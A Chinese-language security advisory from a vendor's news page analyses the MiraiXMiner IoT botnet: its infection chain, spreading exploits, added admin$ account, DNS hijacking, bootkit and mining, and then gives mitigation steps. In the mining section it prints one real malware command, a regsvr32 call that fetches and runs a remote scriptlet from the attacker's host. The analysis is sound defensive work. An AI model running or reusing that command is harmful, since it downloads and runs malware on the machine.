X
请选择要咨询的内容
下一代防火墙NGAF/云守 上网行为管理AC/SG SSL VPN/EMM IPSec VPN/MIG 广域网优化WOC 应用交付AD 桌面云aDesk 企业级云aCloud
开始咨询

新闻动态

News

具备多病毒功能!MiraiXMiner物联网僵尸网络攻击来袭

/ 2018-12-06

MiraiXMiner物联网僵尸病毒

近日,深信服安全团队跟踪到一新型的物联网僵尸网络,其融合了多种已知病毒家族的特点,包括Mirai物联网僵尸网络病毒、MyKings僵尸网络病毒、暗云木马、挖矿等,传播方式包括利用永恒之蓝漏洞、闭路电视物联网设备漏洞、MySQL漏洞等也包括RDP爆破和Telnet爆破等弱口令爆破。

深信服已将其命名为MiraiXMiner,并且制定了完善的防御措施。现发布安全预警,提醒广大用户防范MiraiXMiner攻击。

病毒名称:MiraiXMiner

病毒性质:僵尸网络病毒、暗云木马、挖矿病毒等

影响范围:目前国内已有感染案例

危害等级:高危

传播方式利用永恒之蓝漏洞、闭路电视物联网设备漏洞、MySQL漏洞等也包括RDP爆破和Telnet爆破等弱口令爆破。


病毒分析

01

攻击流程

MiraiXMiner物联网僵尸网络攻击流程

具体流程如下:

1. 病毒母体msinfo.exe通过注册服务&写入恶意代码到数据库的手段,实现持久化攻击。


2. 根据C&C命令从云端下载任意的攻击模块,此次的攻击模块为csrs.exe。


3. 添加恶意特权账户admin$。


4.从黑客服务器下载三个子模块后门模块、DNS劫持模块、净化下载挖矿模块。


5. 后门模块up.rar经过分析发现为有名的BootKit暗云木马。


6. u.exe通过篡改DNS配置文件达到劫持DNS的目的。


7. 净化模块upsnew2.exe的功能很多,除了杀死同行病毒,添加自启动项以外,还会停止Windows自动更新服务,以更稳定地控制受害主机。


8. 使用扫描工具和Mirai攻击库对内网设备进行大范围攻击。


9. 最后,母体msinfo.exe会连接云端,自动更新病毒,实时下载最新的攻击模块。


02

传播模块

最开始通过ARP进行扫描操作确认MAC地址等信息:

MiraiXMiner物联网僵尸网络病毒传播模块1

扫描445端口,如下所示:

MiraiXMiner物联网僵尸网络病毒传播模块2

通过内置的masscan程序进行扫描,如下所示:

MiraiXMiner物联网僵尸网络病毒传播模块3

对扫描到的目标,进行相应的攻击行为,如下所示:

MiraiXMiner物联网僵尸网络病毒传播模块4

1、执行永恒之蓝攻击行为CrackerMS17-010:

CrackerMS17-010

2、攻击CCTV物联网设备漏洞CrackerCCTV:

CrackerCCTV

3、攻击MYSQL漏洞CrackerMYSQL:

CrackerMYSQL

然后执行下面的数据库Payload命令过程,如下所示:

执行数据库Payload命令过程

将如下恶意代码写入数据库存储过程中,如下所示:

恶意代码写入数据库存储过程

恶意代码分别为

对RDP进行攻击CrackerRDP:

CrackerRDP

对Telnet进行攻击CrackerTelnet:

CrackerTelnet

03

创建admin$账号

从服务器上下载相应的配置文件,然后解密,如下所示:

下载配置文件解密

然后解密出相应的XML文件,进行下载执行恶意程序操作:

下载执行恶意程序

下载回来的CSRS是一个python脚本编写后生成的EXE,主要是一个Exploit,用于通过MS17-010漏洞,添加帐号:

通过MS17-010漏洞添加帐号

添加之后的主机,如下图所示:

添加之后的主机

执行MS17-010漏洞攻击:

执行MS17-010漏洞攻击

其中,攻击的参数如下所示:

攻击的参数

04

挖矿与暗云木马

下载恶意程序,通过start regsvr32 /s /u /n /i:http://up.ms1128.site:8888\\s1.txt scrobj.dll,如下所示:

下载恶意程序

解密出上面的XML脚本:

解密XML脚本

Upsnew2释放暗云木马item.dat以及c3.bat脚本。

其中c3.bat脚本功能分别为:

1、清除其他病毒。

清除其他病毒

2、开启MSSQLSERVER。

开启MSSQLSERVER

3、在注册表以及任务计划中添加自启动。

注册表及任务计划添加自启动1注册表及任务计划添加自启动2


4、关闭自动更新。

关闭自动更新

5、加载暗云木马。

加载暗云木马

6、配置防火墙策略,关闭135、137、138、139、445端口,防止再被其它病毒感染。

配置防火墙策略

解决方案

1、隔离感染主机:已中毒计算机尽快隔离,关闭所有网络连接,禁用网卡。

2、切断传播途径:关闭潜在终端的SMB 445等网络共享端口,关闭异常的外联访问。深信服下一代防火墙用户,可开启IPS和僵尸网络功能(需升级到20181204版本),进行封堵。

3、查找攻击源:借助深信服安全感知平台检测内网攻击源。

4、查杀病毒:推荐使用深信服终端安全检测响应平台EDR进行查杀,病毒库需升级到20181204版本。

5、修补漏洞:打上永恒之蓝MS17-010等漏洞相关补丁。


©2000-2018    深信服科技股份有限公司    版权所有     粤ICP备08126214号-5

粤公网安备

粤公网安备 44030502002384号

深信服科技
深信服科技